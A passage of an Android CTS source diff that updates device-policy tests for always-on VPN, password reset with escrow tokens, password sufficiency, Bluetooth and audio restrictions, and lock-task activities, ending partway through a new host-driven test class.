- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
assertTrue(VpnTestHelper.isNetworkVpn(mContext));
}
@@ -90,14 +92,11 @@
restrictions.putStringArray(RESTRICTION_DISALLOWED, new String[] {mPackageName});
mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
restrictions);
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
assertFalse(VpnTestHelper.isNetworkVpn(mContext));
}
public void testSetNonVpnAlwaysOn() throws Exception {
- // test always-on is null by default
- assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
-
// Treat this CTS DPC as an non-vpn app, since it doesn't register
// android.net.VpnService intent filter in AndroidManifest.xml.
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
new file mode 100644
index 0000000..488823a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
+/**
+ * Validates that a device owner or profile owner cannot enable the always-on feature for
+ * unsupported VPN apps.
+ *
+ * A VPN app does not support the always-on feature if it
+ * <ul>
+ * <li>has a target SDK version below {@link android.os.Build.VERSION_CODES#N}, or</li>
+ * <li>explicitly opts out of the feature through
+ * {@link android.net.VpnService#SERVICE_META_DATA_SUPPORTS_ALWAYS_ON}</li>
+ * </ul>
+ */
+public class AlwaysOnVpnUnsupportedTest extends BaseDeviceAdminTest {
+
+ public void testAssertNoAlwaysOnVpn() throws Exception {
+ assertNull("Always-on VPN already exists",
+ mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testClearAlwaysOnVpn() throws Exception {
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, null, false);
+ assertNull("Failed to clear always-on package",
+ mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testSetSupportedVpnAlwaysOn() throws Exception {
+ testAssertNoAlwaysOnVpn();
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+ assertEquals("Failed to set always-on package",
+ VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testSetUnsupportedVpnAlwaysOn() throws Exception {
+ testAssertNoAlwaysOnVpn();
+ try {
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+ fail("setAlwaysOnVpnPackage should not accept an unsupported vpn package");
+ } catch (UnsupportedOperationException e) {
+ // success
+ }
+ assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
index db54ac3..d076920 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -87,7 +87,11 @@
Intent showSessionIntent = new Intent(ACTION_SHOW_SESSION);
showSessionIntent.setPackage(ASSIST_PACKAGE);
mContext.sendBroadcast(showSessionIntent);
- Intent screenShotIntent = receiver.awaitForBroadcast();
+ Intent screenShotIntent = null;
+ for (int i = 0; i < MAX_ATTEMPTS_COUNT && (screenShotIntent == null); ++ i) {
+ Log.d(TAG, "has not received intent yet: wait for intent, attempt " + i);
+ screenShotIntent = receiver.awaitForBroadcast();
+ }
Assert.assertNotNull(screenShotIntent);
Assert.assertTrue(screenShotIntent.hasExtra(KEY_HAS_SCREENSHOT));
assertEquals(possible, screenShotIntent.getBooleanExtra(KEY_HAS_SCREENSHOT, false));
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 300904c..efc7115 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -18,7 +18,6 @@
import android.content.Context;
import android.content.pm.PackageManager;
-import android.content.res.Configuration;
import android.media.AudioManager;
import android.os.SystemClock;
import android.os.UserManager;
@@ -82,12 +81,10 @@
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
return;
}
- // VR Headsets do not support the STREAM_RING, therefore we use STREAM_MUSIC.
- int streamType = isVrHeadset(mContext) ? AudioManager.STREAM_MUSIC : AudioManager.STREAM_RING;
try {
// Set volume of ringtone to be 1.
- mAudioManager.setStreamVolume(streamType, 1, /* flag= */ 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
// Disallow adjusting volume.
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -96,7 +93,7 @@
// Verify that volume can't be changed.
mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
- assertEquals(1, mAudioManager.getStreamVolume(streamType));
+ assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
// Allowing adjusting volume.
mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -108,7 +105,7 @@
waitUntil(2, new Callable<Integer>() {
@Override
public Integer call() throws Exception {
- return mAudioManager.getStreamVolume(streamType);
+ return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
}
});
} finally {
@@ -166,9 +163,4 @@
Thread.sleep(200);
}
}
-
- private boolean isVrHeadset(Context context) {
- return (context.getResources().getConfiguration().uiMode
- & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 8babe14..5728cf6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -17,6 +17,7 @@
package com.android.cts.deviceandprofileowner;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
import android.content.Intent;
import static android.os.UserManager.DISALLOW_AUTOFILL;
@@ -28,9 +29,6 @@
private static final String AUTOFILL_PACKAGE_NAME = "com.android.cts.devicepolicy.autofillapp";
private static final String AUTOFILL_ACTIVITY_NAME = AUTOFILL_PACKAGE_NAME + ".SimpleActivity";
- // TODO: should static import Settings.Secure instead, but that's not a @TestApi
- private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
// Currently, autofill_service is a cloned service, so it's only set in the default user.
// That might change, so we're using a guard to decide how to set it
private final boolean USES_CLONED_SETTINGS = true;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 77214cb..1c4230b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -85,4 +85,19 @@
throw new RuntimeException("Command '" + command + "' failed: ", e);
}
}
+
+ protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+ int retries = 15;
+ // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
+ while (retries >= 0
+ && mDevicePolicyManager.isActivePasswordSufficient() != expectPasswordSufficient) {
+ retries--;
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ break;
+ }
+ }
+ assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
new file mode 100644
index 0000000..fa4a6a7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+
+public class PasswordSufficientInitiallyTest extends BaseDeviceAdminTest {
+
+ public void testPasswordSufficientInitially() {
+ assertPasswordSufficiency(true);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 9e4744c..93ea709 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -15,63 +15,154 @@
*/
package com.android.cts.deviceandprofileowner;
+import android.app.KeyguardManager;
+import android.app.admin.DevicePolicyManager;
+import android.support.test.InstrumentationRegistry;
public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
- private static final String PASSWORD = "1234";
+ private static final String SHORT_PASSWORD = "1234";
+ private static final String COMPLEX_PASSWORD = "abc123.";
private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
- public void testResetPasswordWithToken() {
- testResetPasswordWithToken(false);
+ private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+ private boolean mShouldRun;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ Boolean allowFailure = Boolean.parseBoolean(InstrumentationRegistry.getArguments()
+ .getString(ARG_ALLOW_FAILURE));
+ mShouldRun = setUpResetPasswordToken(allowFailure);
}
- public void testResetPasswordWithTokenMayFail() {
- // If this test is executed on a device with password token disabled, allow the test to
- // pass.
- testResetPasswordWithToken(true);
- }
-
- private void testResetPasswordWithToken(boolean acceptFailure) {
- try {
- // set up a token
- assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
- try {
- // On devices with password token disabled, calling this method will throw
- // a security exception. If that's anticipated, then return early without failing.
- assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
- TOKEN0));
- } catch (SecurityException e) {
- if (acceptFailure &&
- e.getMessage().equals("Escrow token is disabled on the current user")) {
- return;
- } else {
- throw e;
- }
- }
- assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
- // resetting password with wrong token should fail
- assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN1, 0));
- // try changing password with token
- assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN0, 0));
- // clear password with token
- assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
- TOKEN0, 0));
-
- // remove token and check it succeeds
- assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
- assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
- assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN0, 0));
- } finally {
- mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT);
+ @Override
+ protected void tearDown() throws Exception {
+ if (mShouldRun) {
+ cleanUpResetPasswordToken();
}
+ super.tearDown();
}
- //TODO: add test to reboot device and reset password while user is still locked.
+ public void testBadTokenShouldFail() {
+ if (!mShouldRun) {
+ return;
+ }
+ // resetting password with wrong token should fail
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN1, 0));
+ }
+
+ public void testChangePasswordWithToken() {
+ if (!mShouldRun) {
+ return;
+ }
+ // try changing password with token
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+
+ // Set a strong password constraint and expect the sufficiency check to fail
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+ assertPasswordSufficiency(false);
+
+ // try changing to a stronger password and verify it satisfies requested constraint
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+ assertPasswordSufficiency(true);
+ }
+
+ public void testResetPasswordFailIfQualityNotMet() {
+ if (!mShouldRun) {
+ return;
+ }
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+ }
+
+ public void testPasswordMetricAfterResetPassword() {
+ if (!mShouldRun) {
+ return;
+ }
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_COMPLEX);
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 1);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 0);
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+
+ // Change required complexity and verify new password satisfies it
+ // First set a slightly stronger requirement and expect password sufficiency is false
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 3);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 2);
+ assertPasswordSufficiency(false);
+ // Then sets the appropriate quality and verify it should pass
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 1);
+ assertPasswordSufficiency(true);
+ }
+
+ public void testClearPasswordWithToken() {
+ if (!mShouldRun) {
+ return;
+ }
+ KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
+ // First set a password
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+ assertTrue(km.isDeviceSecure());
+
+ // clear password with token
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+ TOKEN0, 0));
+ assertFalse(km.isDeviceSecure());
+ }
+
+ private boolean setUpResetPasswordToken(boolean acceptFailure) {
+ // set up a token
+ assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+
+ try {
+ // On devices with password token disabled, calling this method will throw
+ // a security exception. If that's anticipated, then return early without failing.
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+ TOKEN0));
+ } catch (SecurityException e) {
+ if (acceptFailure &&
+ e.getMessage().equals("Escrow token is disabled on the current user")) {
+ return false;
+ } else {
+ throw e;
+ }
+ }
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ return true;
+ }
+
+ private void cleanUpResetPasswordToken() {
+ // First remove device lock
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+ TOKEN0, 0));
+
+ // Then remove token and check it succeeds
+ assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
+ assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+ }
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
index 91b710e..6aeff7b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
@@ -16,6 +16,16 @@
package com.android.cts.deviceandprofileowner.vpn;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.IPPROTO_ICMP;
+import static android.system.OsConstants.POLLIN;
+import static android.system.OsConstants.SOCK_DGRAM;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
import android.annotation.TargetApi;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
@@ -43,14 +53,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.IPPROTO_ICMP;
-import static android.system.OsConstants.POLLIN;
-import static android.system.OsConstants.SOCK_DGRAM;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
/**
* Helper class to test vpn status
*/
@@ -70,47 +72,62 @@
private static final int NETWORK_TIMEOUT_MS = 5000;
private static final ComponentName ADMIN_RECEIVER_COMPONENT =
BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+ private static final NetworkRequest VPN_NETWORK_REQUEST = new NetworkRequest.Builder()
+ .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
+ .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+ .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+ .build();
- public static void setAndWaitForVpn(Context context, String packageName, boolean usable) {
- ConnectivityManager connectivityManager =
- context.getSystemService(ConnectivityManager.class);
+ /**
+ * Wait for a VPN app to establish VPN.
+ *
+ * @param context Caller's context.
+ * @param packageName {@code null} if waiting for the existing VPN to connect. Otherwise we set
+ * this package as the new always-on VPN app and wait for it to connect.
+ * @param usable Whether the resulting VPN tunnel is expected to be usable.
+ */
+ public static void waitForVpn(Context context, String packageName, boolean usable) {
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ if (packageName == null) {
+ assertNotNull(dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
final CountDownLatch vpnLatch = new CountDownLatch(1);
- final NetworkRequest request = new NetworkRequest.Builder()
- .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
- .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
- .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
- .build();
- final ConnectivityManager.NetworkCallback callback
- = new ConnectivityManager.NetworkCallback() {
- @Override
- public void onAvailable(Network net) {
- vpnLatch.countDown();
- }
- };
- connectivityManager.registerNetworkCallback(request, callback);
+ final ConnectivityManager.NetworkCallback callback =
+ new ConnectivityManager.NetworkCallback() {
+ @Override
+ public void onAvailable(Network net) {
+ vpnLatch.countDown();
+ }
+ };
+ cm.registerNetworkCallback(VPN_NETWORK_REQUEST, callback);
+
try {
- dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
- assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ if (packageName != null) {
+ dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
+ assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
if (!vpnLatch.await(NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
- fail("Took too long waiting to establish a VPN-backed connection");
+ if (!isNetworkVpn(context)) {
+ fail("Took too long waiting to establish a VPN-backed connection");
+ }
}
Thread.sleep(NETWORK_SETTLE_GRACE_MS);
} catch (InterruptedException | PackageManager.NameNotFoundException e) {
- fail("Failed to send ping: " + e);
+ fail("Failed while waiting for VPN: " + e);
} finally {
- connectivityManager.unregisterNetworkCallback(callback);
+ cm.unregisterNetworkCallback(callback);
}
// Do we have a network?
- NetworkInfo vpnInfo = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_VPN);
- assertTrue(vpnInfo != null);
+ NetworkInfo vpnInfo = cm.getNetworkInfo(ConnectivityManager.TYPE_VPN);
+ assertNotNull(vpnInfo);
// Is it usable?
assertEquals(usable, vpnInfo.isConnected());
}
-
public static boolean isNetworkVpn(Context context) {
ConnectivityManager connectivityManager =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4e9abd7..4cc041a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -30,11 +30,12 @@
ctstestrunner \
compatibility-device-util \
android-support-v4 \
- android-support-test
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 01967dc..9a09007 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -61,7 +61,14 @@
android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
<activity
android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
- android:lockTaskMode="if_whitelisted" />
+ android:launchMode="singleInstance"
+ android:lockTaskMode="if_whitelisted">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.HOME"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<!-- we need to give a different taskAffinity so that when we use
FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index 00b498a..bf08014 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -143,6 +143,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void disable() {
+ // Can't disable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
assertFalse(mBluetoothAdapter.isEnabled());
@@ -200,6 +204,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void enable() {
+ // Can't enable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
assertTrue(mBluetoothAdapter.isEnabled());
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..ce79922
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LockTaskHostDrivenTest {
+
+ private static final String TAG = LockTaskHostDrivenTest.class.getName();
+
+ private static final String PACKAGE_NAME = LockTaskHostDrivenTest.class.getPackage().getName();
+ private static final ComponentName ADMIN_COMPONENT =
